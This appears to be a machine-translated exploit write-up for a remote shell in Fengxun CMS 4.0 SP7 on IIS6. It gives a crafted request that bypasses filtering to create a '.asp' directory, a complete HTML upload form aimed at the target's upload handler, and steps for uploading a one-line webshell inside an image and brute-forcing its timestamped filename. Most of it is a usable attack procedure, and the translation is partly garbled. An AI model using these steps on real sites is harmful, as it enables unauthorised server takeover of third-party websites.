Fengxun 4.0 SP7 getshell 0day

Zero Customer Network Security

Discoverer: bloodsword and bink. Please ignore the reprinted content
Affected Version: <= 4.0 sp7. It is estimated that the previous version is still available.
The file upload function is enabled in the iis6 environment using the conditions.

Vulnerability Description: Directory creation error in name filtering, so that a. asp directory can be created by bypassing filtering.
First register an account to access http://www.bbb.com/User/CommPages/FolderImageList.asp? F_UserNumber = 06150583700 & Type = AddFolder & Path =/userfiles/06150583700/aaa. asp // & CurrPath =/userfiles/06150583700
Here, 06150583700 is your userid. After logging on, you can see that a. asp directory is created.

The sub-directories created by fengxun cannot be imported because these directories are also filtered out. Local construction form:

<Form name = "FileForm" method = "post" enctype = "multipart/form-data"

Action = "http://www.bbb.com/User/Commpages/UpFileSave.asp? Path =/userfiles/06150583700/aaa. asp ">
<Input type = "hidden" name = "AutoReName" value = "2"> <br>
<Input type = "hidden" name = "Path" value = "/userfiles/06150583700/aaa. asp">
<Input type = "file" size = "20" name = "File1">
<Input type = "hidden" name = "FilesNum" value = "1">
<Input type = "submit" id = "BtnSubmit" name = "Submit" value = "Confirm">
<Input type = "reset" id = "ResetForm" name = "Submit3" value = "Refill">
</Form>
Upload an image containing one sentence
This is disgusting. the uploaded file name is date + time + 5-digit random number (which may be 4-digit, 3-digit, 2-digit, and 1-digit, and the maximum value is 5 ), I have been studying bink for a long time.

You can see the following:-_-. You can use this function to guess the upload path. First, upload a file in the normal directory, break the time difference between local and remote access, and then upload the file to. asp.

In the directory, set the number of seconds error to less than 3 seconds. Start running ~~ Then what should I do? If the RP passes through, the result should be returned within a few hours -_-